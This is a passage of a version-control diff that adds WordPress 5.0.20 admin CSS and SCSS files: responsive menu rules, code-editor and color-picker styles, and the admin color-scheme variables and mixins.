+	.auto-fold .wp-responsive-open #adminmenuwrap {
+		display: block;
+	}
+
+	.auto-fold #adminmenu li.menu-top {
+		width: 100%;
+	}
+
+	/* Resize the admin menu items to a comfortable touch size */
+	.auto-fold #adminmenu li a {
+		font-size: 16px;
+		padding: 5px;
+	}
+
+	.auto-fold #adminmenu li.menu-top .wp-submenu > li > a {
+		padding: 10px 10px 10px 20px;
+	}
+
+	/* Restore the menu names */
+	.auto-fold #adminmenu .wp-menu-name {
+		position: static;
+		margin-left: 35px;
+	}
+
+	/* Switch the arrow side */
+	.auto-fold ul#adminmenu a.wp-has-current-submenu:after,
+	.auto-fold ul#adminmenu > li.current > a.current:after {
+		border-width: 8px;
+		margin-top: -8px;
+	}
+
+	.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after {
+		display: none;
+	}
+
+	/* Make the submenus appear correctly when tapped. */
+	#adminmenu .wp-submenu {
+		position: relative;
+		display: none;
+	}
+
+	.auto-fold #adminmenu .selected .wp-submenu,
+	.auto-fold #adminmenu .wp-menu-open .wp-submenu {
+		position: relative;
+		display: block;
+		top: 0;
+		left: -1px;
+		box-shadow: none;
+	}
+
+	.auto-fold #adminmenu .selected .wp-submenu:after,
+	.auto-fold #adminmenu .wp-menu-open .wp-submenu:after {
+		display: none;
+	}
+
+	.auto-fold #adminmenu .opensub .wp-submenu {
+		display: none;
+	}
+
+	.auto-fold #adminmenu .selected .wp-submenu {
+		display: block;
+	}
+
+	.auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after {
+		display: block;
+	}
+
+	.auto-fold #adminmenu a.menu-top:focus + .wp-submenu,
+	.auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus + .wp-submenu {
+		position: relative;
+		left: -1px;
+		right: 0;
+		top: 0;
+	}
+
+	/* Remove submenu headers and adjust sub meu*/
+	#adminmenu .wp-submenu .wp-submenu-head {
+		display: none;
+	}
+
+	/* Toolbar menu toggle */
+	#wp-responsive-toggle {
+		position: fixed;
+		top: 5px;
+		left: 4px;
+		padding-right: 10px;
+		z-index: 99999;
+		border: none;
+		box-sizing: border-box;
+	}
+
+	#wpadminbar #wp-admin-bar-menu-toggle a {
+		display: block;
+		padding: 0;
+		overflow: hidden;
+		outline: none;
+		text-decoration: none;
+		border: 1px solid transparent;
+		background: none;
+		height: 44px;
+		margin-left: -1px;
+	}
+
+	.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
+		background: #32373c;
+	}
+
+	li#wp-admin-bar-menu-toggle {
+		display: block;
+	}
+
+	#wpadminbar #wp-admin-bar-menu-toggle a:hover {
+		border: 1px solid transparent;
+	}
+
+	#wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
+		content: "\f228";
+		display: inline-block;
+		float: left;
+		font: normal 40px/45px dashicons;
+		vertical-align: middle;
+		outline: none;
+		margin: 0;
+		-webkit-font-smoothing: antialiased;
+		-moz-osx-font-smoothing: grayscale;
+		height: 44px;
+		width: 50px;
+		padding: 0;
+		border: none;
+		text-align: center;
+		text-decoration: none;
+		box-sizing: border-box;
+	}
+
+	.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
+		color: #00b9eb;
+	}
+}
+
+/* Smartphone */
+@media screen and (max-width: 600px) {
+	#adminmenuwrap,
+	#adminmenuback {
+		display: none;
+	}
+
+	.wp-responsive-open #adminmenuwrap,
+	.wp-responsive-open #adminmenuback {
+		display: block;
+	}
+
+	.auto-fold #adminmenu {
+		top: 46px;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/code-editor.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/code-editor.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/code-editor.css	(revision 56912)
@@ -0,0 +1,76 @@
+.wrap [class*="CodeMirror-lint-marker"],
+.wp-core-ui [class*="CodeMirror-lint-message"],
+.wrap .CodeMirror-lint-marker-multiple {
+	background-image: none;
+}
+
+.wp-core-ui .CodeMirror-lint-marker-error,
+.wp-core-ui .CodeMirror-lint-marker-warning {
+	cursor: help;
+}
+
+.wrap .CodeMirror-lint-marker-multiple {
+	position: absolute;
+	top: 0;
+}
+
+.wrap [class*="CodeMirror-lint-marker"]:before {
+	font: normal 18px/1 dashicons;
+	position: relative;
+	top: -2px;
+}
+
+.wp-core-ui [class*="CodeMirror-lint-message"]:before {
+	font: normal 16px/1 dashicons;
+	left: 16px;
+	position: absolute;
+}
+
+.wp-core-ui .CodeMirror-lint-message-error,
+.wp-core-ui .CodeMirror-lint-message-warning {
+	box-shadow: 0 1px 1px 0 rgba( 0, 0, 0, 0.1 );
+	margin: 5px 0 2px;
+	padding: 3px 12px 3px 28px;
+}
+
+.wp-core-ui .CodeMirror-lint-message-warning {
+	background-color: #fff8e5;
+	border-left: 4px solid #ffb900;
+}
+
+.wrap .CodeMirror-lint-marker-warning:before,
+.wp-core-ui .CodeMirror-lint-message-warning:before {
+	content: "\f534";
+	color: #f6a306;
+}
+
+.wp-core-ui .CodeMirror-lint-message-error {
+	background-color: #fbeaea;
+	border-left: 4px solid #dc3232;
+}
+
+.wrap .CodeMirror-lint-marker-error:before,
+.wp-core-ui .CodeMirror-lint-message-error:before {
+	content: "\f153";
+	color: #dc3232;
+}
+
+.wp-core-ui .CodeMirror-lint-tooltip {
+	background: none;
+	border: none;
+	border-radius: 0;
+	direction: ltr;
+}
+
+.wrap .CodeMirror .CodeMirror-matchingbracket {
+	background: rgba(255, 150, 0, .3);
+	color: inherit;
+}
+
+.CodeMirror {
+	text-align: left;
+}
+
+.wrap .CodeMirror .CodeMirror-linenumber { 
+    color: #666; 
+}
Index: /tags/5.0.20/src/wp-admin/css/color-picker.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/color-picker.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/color-picker.css	(revision 56912)
@@ -0,0 +1,172 @@
+.wp-color-picker {
+	width: 80px;
+}
+
+.wp-picker-container .hidden {
+	display: none;
+}
+
+/* Needs higher specificiity. */
+.wp-picker-container .wp-color-result.button {
+	height: 24px;
+	margin: 0 6px 6px 0px;
+	padding: 0 0 0 30px;
+	font-size: 11px;
+}
+
+.wp-color-result-text {
+	background: #f7f7f7;
+	border-radius: 0 2px 2px 0;
+	border-left: 1px solid #ccc;
+	color: #555;
+	display: block;
+	line-height: 22px;
+	padding: 0 6px;
+	text-align: center;
+}
+
+.wp-color-result:hover,
+.wp-color-result:focus {
+	background: #fafafa;
+	border-color: #999;
+	color: #23282d;
+}
+
+.wp-color-result:hover:after,
+.wp-color-result:focus:after {
+	color: #23282d;
+	border-color: #a0a5aa;
+	border-left: 1px solid #999;
+}
+
+.wp-picker-containers {
+	display: inline-block;
+}
+
+.wp-color-result:focus {
+	border-color: #5b9dd9;
+	box-shadow: 0 0 3px rgba( 0, 115, 170, .8 );
+}
+
+.wp-color-result:active {
+	/* See Trac ticket #39662 */
+	transform: none !important;
+}
+
+.wp-picker-open + .wp-picker-input-wrap {
+	display: inline-block;
+	vertical-align: top;
+}
+
+.wp-picker-input-wrap label {
+	display: inline-block;
+	vertical-align: top;
+}
+
+/* For the old `custom-background` page, to override the inline-block and margins from `.form-table td fieldset label`. */
+.form-table .wp-picker-input-wrap label {
+	margin: 0 !important;
+}
+
+.wp-picker-input-wrap .button,
+.wp-customizer .wp-picker-input-wrap .button {
+ 	margin-left: 6px;
+}
+
+.wp-picker-container .iris-square-slider .ui-slider-handle:focus {
+	background-color: #555
+}
+
+.wp-picker-container .iris-picker {
+	border-radius: 0;
+	border-color: #ddd;
+	margin-top: 6px;
+}
+
+.wp-picker-container input[type="text"].wp-color-picker {
+	width: 65px;
+	font-size: 12px;
+	font-family: monospace;
+	line-height: 16px;
+	margin: 0;
+	vertical-align: top;
+}
+
+.wp-color-picker::-webkit-input-placeholder {
+	color: #72777c;
+}
+
+.wp-color-picker::-moz-placeholder {
+	color: #72777c;
+	opacity: 1;
+}
+
+.wp-color-picker:-ms-input-placeholder {
+	color: #72777c;
+}
+
+.wp-picker-container input[type="text"].iris-error {
+	background-color: #ffebe8;
+	border-color: #c00;
+	color: #000;
+}
+
+.iris-picker .ui-square-handle:focus,
+.iris-picker .iris-strip .ui-slider-handle:focus {
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+.iris-picker .iris-palette:focus {
+	box-shadow:
+		inset 0 0 5px rgba(0,0,0,.4),
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+@media screen and ( max-width: 782px ) {
+	.wp-picker-container input[type="text"].wp-color-picker {
+		width: 80px;
+		padding: 6px 5px 5px;
+		font-size: 16px;
+		line-height: 18px;
+	}
+
+	.wp-customizer .wp-picker-container input[type="text"].wp-color-picker {
+		padding: 5px 5px 4px;
+	}
+
+	.wp-picker-container .wp-color-result.button {
+		height: auto;
+		padding: 0 0 0 40px;
+		font-size: 14px;
+		line-height: 29px;
+	}
+
+	.wp-customizer .wp-picker-container .wp-color-result.button {
+		font-size: 13px;
+		line-height: 26px;
+	}
+
+	.wp-picker-container .wp-color-result-text {
+		padding: 0 14px;
+		font-size: inherit;
+		line-height: inherit;
+	}
+
+	.wp-customizer .wp-picker-container .wp-color-result-text {
+		padding: 0 10px;
+	}
+}
+
+@media screen and ( max-width: 640px ) {
+	.wp-customizer .wp-picker-container .wp-color-result.button {
+		font-size: 14px;
+		line-height: 29px;
+	}
+
+	.wp-customizer .wp-picker-container input[type="text"].wp-color-picker {
+		padding: 6px 5px;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/colors/_admin.scss
===================================================================
--- /tags/5.0.20/src/wp-admin/css/colors/_admin.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/colors/_admin.scss	(revision 56912)
@@ -0,0 +1,493 @@
+
+@import 'variables';
+@import 'mixins';
+
+
+body {
+	background: $body-background;
+}
+
+
+/* Links */
+
+a {
+	color: $link;
+
+	&:hover,
+	&:active,
+	&:focus {
+		color: $link-focus;
+	}
+}
+
+#media-upload a.del-link:hover,
+div.dashboard-widget-submit input:hover,
+.subsubsub a:hover,
+.subsubsub a.current:hover {
+	color: $link-focus;
+}
+
+
+/* Forms */
+
+input[type=checkbox]:checked:before {
+	color: $form-checked;
+}
+
+input[type=radio]:checked:before {
+	background: $form-checked;
+}
+
+.wp-core-ui input[type="reset"]:hover,
+.wp-core-ui input[type="reset"]:active {
+	color: $link-focus;
+}
+
+
+/* Core UI */
+
+.wp-core-ui {
+	.button-primary {
+		@include button( $button-color );
+	}
+
+	.wp-ui-primary {
+		color: $text-color;
+		background-color: $base-color;
+	}
+	.wp-ui-text-primary {
+		color: $base-color;
+	}
+
+	.wp-ui-highlight {
+		color: $menu-highlight-text;
+		background-color: $menu-highlight-background;
+	}
+	.wp-ui-text-highlight {
+		color: $menu-highlight-background;
+	}
+
+	.wp-ui-notification {
+		color: $menu-bubble-text;
+		background-color: $menu-bubble-background;
+	}
+	.wp-ui-text-notification {
+		color: $menu-bubble-background;
+	}
+
+	.wp-ui-text-icon {
+		color: $menu-icon;
+	}
+}
+
+
+/* List tables */
+
+.wrap .add-new-h2:hover, /* deprecated */
+.wrap .page-title-action:hover,
+.tablenav .tablenav-pages a:hover,
+.tablenav .tablenav-pages a:focus {
+	color: $menu-text;
+	background-color: $menu-background;
+}
+
+.view-switch a.current:before {
+	color: $menu-background;
+}
+
+.view-switch a:hover:before {
+	color: $menu-bubble-background;
+}
+
+
+/* Admin Menu */
+
+#adminmenuback,
+#adminmenuwrap,
+#adminmenu {
+	background: $menu-background;
+}
+
+#adminmenu a {
+	color: $menu-text;
+}
+
+#adminmenu div.wp-menu-image:before {
+	color: $menu-icon;
+}
+
+#adminmenu a:hover,
+#adminmenu li.menu-top:hover,
+#adminmenu li.opensub > a.menu-top,
+#adminmenu li > a.menu-top:focus {
+	color: $menu-highlight-text;
+	background-color: $menu-highlight-background;
+}
+
+#adminmenu li.menu-top:hover div.wp-menu-image:before,
+#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
+	color: $menu-highlight-icon;
+}
+
+
+/* Active tabs use a bottom border color that matches the page background color. */
+
+.about-wrap h2 .nav-tab-active,
+.nav-tab-active,
+.nav-tab-active:hover {
+	background-color: $body-background;
+	border-bottom-color: $body-background;
+}
+
+
+/* Admin Menu: submenu */
+
+#adminmenu .wp-submenu,
+#adminmenu .wp-has-current-submenu .wp-submenu,
+#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
+.folded #adminmenu .wp-has-current-submenu .wp-submenu,
+#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
+	background: $menu-submenu-background;
+}
+
+#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after {
+	border-right-color: $menu-submenu-background;
+}
+
+#adminmenu .wp-submenu .wp-submenu-head {
+	color: $menu-submenu-text;
+}
+
+#adminmenu .wp-submenu a,
+#adminmenu .wp-has-current-submenu .wp-submenu a,
+.folded #adminmenu .wp-has-current-submenu .wp-submenu a,
+#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
+#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
+	color: $menu-submenu-text;
+
+	&:focus, &:hover {
+		color: $menu-submenu-focus-text;
+	}
+}
+
+
+/* Admin Menu: current */
+
+#adminmenu .wp-submenu li.current a,
+#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
+#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
+	color: $menu-submenu-current-text;
+
+	&:hover, &:focus {
+		color: $menu-submenu-focus-text;
+	}
+}
+
+ul#adminmenu a.wp-has-current-submenu:after,
+ul#adminmenu > li.current > a.current:after {
+    border-right-color: $body-background;
+}
+
+#adminmenu li.current a.menu-top,
+#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
+#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
+.folded #adminmenu li.current.menu-top {
+	color: $menu-current-text;
+	background: $menu-current-background;
+}
+
+#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
+#adminmenu a.current:hover div.wp-menu-image:before,
+#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
+#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
+#adminmenu li:hover div.wp-menu-image:before,
+#adminmenu li a:focus div.wp-menu-image:before,
+#adminmenu li.opensub div.wp-menu-image:before,
+.ie8 #adminmenu li.opensub div.wp-menu-image:before {
+	color: $menu-current-icon;
+}
+
+
+/* Admin Menu: bubble */
+
+#adminmenu .awaiting-mod,
+#adminmenu .update-plugins {
+	color: $menu-bubble-text;
+	background: $menu-bubble-background;
+}
+
+#adminmenu li.current a .awaiting-mod,
+#adminmenu li a.wp-has-current-submenu .update-plugins,
+#adminmenu li:hover a .awaiting-mod,
+#adminmenu li.menu-top:hover > a .update-plugins {
+	color: $menu-bubble-current-text;
+	background: $menu-bubble-current-background;
+}
+
+
+/* Admin Menu: collapse button */
+
+#collapse-button {
+    color: $menu-collapse-text;
+}
+
+#collapse-button:hover,
+#collapse-button:focus {
+    color: $menu-submenu-focus-text;
+}
+
+/* Admin Bar */
+
+#wpadminbar {
+	color: $menu-text;
+	background: $menu-background;
+}
+
+#wpadminbar .ab-item,
+#wpadminbar a.ab-item,
+#wpadminbar > #wp-toolbar span.ab-label,
+#wpadminbar > #wp-toolbar span.noticon {
+	color: $menu-text;
+}
+
+#wpadminbar .ab-icon,
+#wpadminbar .ab-icon:before,
+#wpadminbar .ab-item:before,
+#wpadminbar .ab-item:after {
+	color: $menu-icon;
+}
+
+#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
+#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
+#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
+#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
+#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
+	color: $menu-submenu-focus-text;
+	background: $menu-submenu-background;
+}
+
+#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
+#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
+#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
+	color: $menu-submenu-focus-text;
+}
+
+#wpadminbar:not(.mobile) li:hover .ab-icon:before,
+#wpadminbar:not(.mobile) li:hover .ab-item:before,
+#wpadminbar:not(.mobile) li:hover .ab-item:after,
+#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
+	color: $menu-highlight-icon;
+}
+
+
+/* Admin Bar: submenu */
+
+#wpadminbar .menupop .ab-sub-wrapper {
+	background: $menu-submenu-background;
+}
+
+#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
+#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
+	background: $menu-submenu-background-alt;
+}
+
+#wpadminbar .ab-submenu .ab-item,
+#wpadminbar .quicklinks .menupop ul li a,
+#wpadminbar .quicklinks .menupop.hover ul li a,
+#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
+	color: $menu-submenu-text;
+}
+
+#wpadminbar .quicklinks li .blavatar,
+#wpadminbar .menupop .menupop > .ab-item:before {
+	color: $menu-icon;
+}
+
+#wpadminbar .quicklinks .menupop ul li a:hover,
+#wpadminbar .quicklinks .menupop ul li a:focus,
+#wpadminbar .quicklinks .menupop ul li a:hover strong,
+#wpadminbar .quicklinks .menupop ul li a:focus strong,
+#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
+#wpadminbar .quicklinks .menupop.hover ul li a:hover,
+#wpadminbar .quicklinks .menupop.hover ul li a:focus,
+#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
+#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
+#wpadminbar li:hover .ab-icon:before,
+#wpadminbar li:hover .ab-item:before,
+#wpadminbar li a:focus .ab-icon:before,
+#wpadminbar li .ab-item:focus:before,
+#wpadminbar li .ab-item:focus .ab-icon:before,
+#wpadminbar li.hover .ab-icon:before,
+#wpadminbar li.hover .ab-item:before,
+#wpadminbar li:hover #adminbarsearch:before,
+#wpadminbar li #adminbarsearch.adminbar-focused:before {
+	color: $menu-submenu-focus-text;
+}
+
+#wpadminbar .quicklinks li a:hover .blavatar,
+#wpadminbar .quicklinks li a:focus .blavatar,
+#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
+#wpadminbar .menupop .menupop > .ab-item:hover:before,
+#wpadminbar.mobile .quicklinks .ab-icon:before,
+#wpadminbar.mobile .quicklinks .ab-item:before {
+	color: $menu-submenu-focus-text;
+}
+
+#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
+#wpadminbar.mobile .quicklinks .hover .ab-item:before {
+	color: $menu-icon;
+}
+
+
+/* Admin Bar: search */
+
+#wpadminbar #adminbarsearch:before {
+	color: $menu-icon;
+}
+
+#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
+	color: $menu-text;
+	background: $adminbar-input-background;
+}
+
+/* Admin Bar: my account */
+
+#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
+	border-color: $adminbar-avatar-frame;
+	background-color: $adminbar-avatar-frame;
+}
+
+#wpadminbar #wp-admin-bar-user-info .display-name {
+	color: $menu-text;
+}
+
+#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
+	color: $menu-submenu-focus-text;
+}
+
+#wpadminbar #wp-admin-bar-user-info .username {
+	color: $menu-submenu-text;
+}
+
+
+/* Pointers */
+
+.wp-pointer .wp-pointer-content h3 {
+	background-color: $highlight-color;
+	border-color: darken( $highlight-color, 5% );
+}
+
+.wp-pointer .wp-pointer-content h3:before {
+	color: $highlight-color;
+}
+
+.wp-pointer.wp-pointer-top .wp-pointer-arrow,
+.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
+.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
+.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
+	border-bottom-color: $highlight-color;
+}
+
+
+/* Media */
+
+.media-item .bar,
+.media-progress-bar div {
+	background-color: $highlight-color;
+}
+
+.details.attachment {
+	box-shadow:
+		inset 0 0 0 3px #fff,
+		inset 0 0 0 7px $highlight-color;
+}
+
+.attachment.details .check {
+	background-color: $highlight-color;
+	box-shadow: 0 0 0 1px #fff, 0 0 0 2px $highlight-color;
+}
+
+.media-selection .attachment.selection.details .thumbnail {
+	box-shadow: 0 0 0 1px #fff, 0 0 0 3px $highlight-color;
+}
+
+
+/* Themes */
+
+.theme-browser .theme.active .theme-name,
+.theme-browser .theme.add-new-theme a:hover:after,
+.theme-browser .theme.add-new-theme a:focus:after {
+	background: $highlight-color;
+}
+
+.theme-browser .theme.add-new-theme a:hover span:after,
+.theme-browser .theme.add-new-theme a:focus span:after {
+	color: $highlight-color;
+}
+
+.theme-section.current,
+.theme-filter.current {
+	border-bottom-color: $menu-background;
+}
+
+body.more-filters-opened .more-filters {
+	color: $menu-text;
+	background-color: $menu-background;
+}
+
+body.more-filters-opened .more-filters:before {
+	color: $menu-text;
+}
+
+body.more-filters-opened .more-filters:hover,
+body.more-filters-opened .more-filters:focus {
+	background-color: $menu-highlight-background;
+	color: $menu-highlight-text;
+}
+
+body.more-filters-opened .more-filters:hover:before,
+body.more-filters-opened .more-filters:focus:before {
+	color: $menu-highlight-text;
+}
+
+/* Widgets */
+
+.widgets-chooser li.widgets-chooser-selected {
+	background-color: $menu-highlight-background;
+	color: $menu-highlight-text;
+}
+
+.widgets-chooser li.widgets-chooser-selected:before,
+.widgets-chooser li.widgets-chooser-selected:focus:before {
+	color: $menu-highlight-text;
+}
+
+/* Responsive Component */
+
+div#wp-responsive-toggle a:before {
+	color: $menu-icon;
+}
+
+.wp-responsive-open div#wp-responsive-toggle a {
+	// ToDo: make inset border
+	border-color: transparent;
+	background: $menu-highlight-background;
+}
+
+.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
+	background: $menu-submenu-background;
+}
+
+.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
+	color: $menu-icon;
+}
+
+/* TinyMCE */
+
+.mce-container.mce-menu .mce-menu-item:hover,
+.mce-container.mce-menu .mce-menu-item.mce-selected,
+.mce-container.mce-menu .mce-menu-item:focus,
+.mce-container.mce-menu .mce-menu-item-normal.mce-active,
+.mce-container.mce-menu .mce-menu-item-preview.mce-active {
+	background: $highlight-color;
+}
Index: /tags/5.0.20/src/wp-admin/css/colors/_mixins.scss
===================================================================
--- /tags/5.0.20/src/wp-admin/css/colors/_mixins.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/colors/_mixins.scss	(revision 56912)
@@ -0,0 +1,54 @@
+/*
+ * Button mixin- creates 3d-ish button effect with correct
+ * highlights/shadows, based on a base color.
+ */
+@mixin button( $button-color, $text-color: #fff ) {
+	background: $button-color;
+	border-color: darken( $button-color, 10% ) darken( $button-color, 15% ) darken( $button-color, 15% );
+	color: $text-color;
+	box-shadow: 0 1px 0 darken( $button-color, 15% );
+	text-shadow: 0 -1px 1px darken( $button-color, 15% ),
+		1px 0 1px darken( $button-color, 15% ),
+		0 1px 1px darken( $button-color, 15% ),
+		-1px 0 1px darken( $button-color, 15% );
+
+	&:hover,
+	&:focus {
+		background: lighten( $button-color, 3% );
+		border-color: darken( $button-color, 15% );
+		color: $text-color;
+		box-shadow: 0 1px 0 darken( $button-color, 15% );
+	}
+
+	&:focus {
+		box-shadow: inset 0 1px 0 darken( $button-color, 10% ),
+					0 0 2px 1px #33b3db;
+	}
+
+	&:active,
+	&.active,
+	&.active:focus,
+	&.active:hover {
+		background: darken( $button-color, 10% );
+		border-color: darken( $button-color, 15% );
+	 	box-shadow: inset 0 2px 0 darken( $button-color, 15% );
+	}
+
+	&[disabled],
+	&:disabled,
+	&.button-primary-disabled,
+	&.disabled {
+		color: hsl( hue( $button-color ), 10%, 80% ) !important;
+		background: darken( $button-color, 8% ) !important;
+		border-color: darken( $button-color, 15% ) !important;
+		text-shadow: none !important;
+	}
+
+	&.button-hero {
+		box-shadow: 0 2px 0 darken( $button-color, 15% ) !important;
+		&:active {
+		 	box-shadow: inset 0 3px 0 darken( $button-color, 15% ) !important;
+		}
+	}
+
+}
Index: /tags/5.0.20/src/wp-admin/css/colors/_variables.scss
===================================================================
--- /tags/5.0.20/src/wp-admin/css/colors/_variables.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/colors/_variables.scss	(revision 56912)
@@ -0,0 +1,58 @@
+// assign default value to all undefined variables
+
+
+// core variables
+
+$text-color: #fff !default;
+$base-color: #23282d !default;
+$icon-color: hsl( hue( $base-color ), 7%, 95% ) !default;
+$highlight-color: #0073aa !default;
+$notification-color: #d54e21 !default;
+
+
+// global
+
+$body-background: #f1f1f1 !default;
+
+$link: #0073aa !default;
+$link-focus: lighten( $link, 10% ) !default;
+
+$button-color: $highlight-color !default;
+$form-checked: $highlight-color !default;
+
+
+// admin menu & admin-bar
+
+$menu-text: $text-color !default;
+$menu-icon: $icon-color !default;
+$menu-background: $base-color !default;
+
+$menu-highlight-text: $text-color !default;
+$menu-highlight-icon: $text-color !default;
+$menu-highlight-background: $highlight-color !default;
+
+$menu-current-text: $menu-highlight-text !default;
+$menu-current-icon: $menu-highlight-icon !default;
+$menu-current-background: $menu-highlight-background !default;
+
+$menu-submenu-text: mix( $base-color, $text-color, 30% ) !default;
+$menu-submenu-background: darken( $base-color, 7% ) !default;
+$menu-submenu-background-alt: desaturate( lighten( $menu-background, 7% ), 7% ) !default;
+
+$menu-submenu-focus-text: $highlight-color !default;
+$menu-submenu-current-text: $text-color !default;
+
+$menu-bubble-text: $text-color !default;
+$menu-bubble-background: $notification-color !default;
+$menu-bubble-current-text: $text-color !default;
+$menu-bubble-current-background: $menu-submenu-background !default;
+
+$menu-collapse-text: $menu-icon !default;
+$menu-collapse-icon: $menu-icon !default;
+$menu-collapse-focus-text: $text-color !default;
+$menu-collapse-focus-icon: $menu-highlight-icon !default;
+
+$adminbar-avatar-frame: lighten( $menu-background, 7% ) !default;
+$adminbar-input-background: lighten( $menu-background, 7% ) !default;
+
+$menu-customizer-text: mix( $base-color, $text-color, 40% ) !default;
Index: /tags/5.0.20/src/wp-admin/css/colors/blue/colors.scss
===================================================================
--- /tags/5.0.20/src/wp-admin/css/colors/blue/colors.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/colors/blue/colors.scss	(revision 56912)
@@ -0,0 +1,11 @@
+$base-color: #52accc;
+$icon-color: #e5f8ff;
+$highlight-color: #096484;
+$notification-color: #e1a948;
+$button-color: #e1a948;
+
+$menu-submenu-text: #e2ecf1;
+$menu-submenu-focus-text: #fff;
+$menu-submenu-background: #4796b3;
+
+@import "../_admin.scss";
Index: /tags/5.0.20/src/wp-admin/css/colors/coffee/colors.scss
===================================================================
--- /tags/5.0.20/src/wp-admin/css/colors/coffee/colors.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/colors/coffee/colors.scss	(revision 56912)
@@ -0,0 +1,7 @@
+$base-color: #59524c;
+$highlight-color: #c7a589;
+$notification-color: #9ea476;
+
+$form-checked: $base-color;
+
+@import "../_admin.scss";
Index: /tags/5.0.20/src/wp-admin/css/colors/ectoplasm/colors.scss
===================================================================
--- /tags/5.0.20/src/wp-admin/css/colors/ectoplasm/colors.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/colors/ectoplasm/colors.scss	(revision 56912)
@@ -0,0 +1,8 @@
+$base-color: #523f6d;
+$icon-color: #ece6f6;
+$highlight-color: #a3b745;
+$notification-color: #d46f15;
+
+$form-checked: $base-color;
+
+@import "../_admin.scss";
Index: /tags/5.0.20/src/wp-admin/css/colors/light/colors.scss
===================================================================
--- /tags/5.0.20/src/wp-admin/css/colors/light/colors.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/colors/light/colors.scss	(revision 56912)
@@ -0,0 +1,38 @@
+$base-color: #e5e5e5;
+$icon-color: #999;
+$text-color: #333;
+$highlight-color: #04a4cc;
+$notification-color: #d64e07;
+
+$body-background: #f5f5f5;
+
+$menu-highlight-text: #fff;
+$menu-highlight-icon: #ccc;
+$menu-highlight-background: #888;
+
+$menu-bubble-text: #fff;
+$menu-avatar-frame: #aaa;
+$menu-submenu-background: #fff;
+
+$menu-collapse-text: #777;
+$menu-collapse-focus-icon: #555;
+
+@import "../_admin.scss";
+
+/* temporary fix for admin-bar hover color */
+#wpadminbar .ab-top-menu > li:hover > .ab-item,
+#wpadminbar .ab-top-menu > li.hover > .ab-item,
+#wpadminbar > #wp-toolbar > #wp-admin-bar-root-default li:hover span.ab-label,
+#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary li.hover span.ab-label,
+#wpadminbar .ab-top-menu > li > .ab-item:focus,
+#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
+#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
+#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
+	color: $text-color;
+}
+
+/* Override the theme filter highlight color for this scheme */
+.theme-section.current,
+.theme-filter.current {
+	border-bottom-color: $highlight-color;
+}
Index: /tags/5.0.20/src/wp-admin/css/colors/midnight/colors.scss
===================================================================
--- /tags/5.0.20/src/wp-admin/css/colors/midnight/colors.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/colors/midnight/colors.scss	(revision 56912)
@@ -0,0 +1,5 @@
+$base-color: #363b3f;
+$highlight-color: #e14d43;
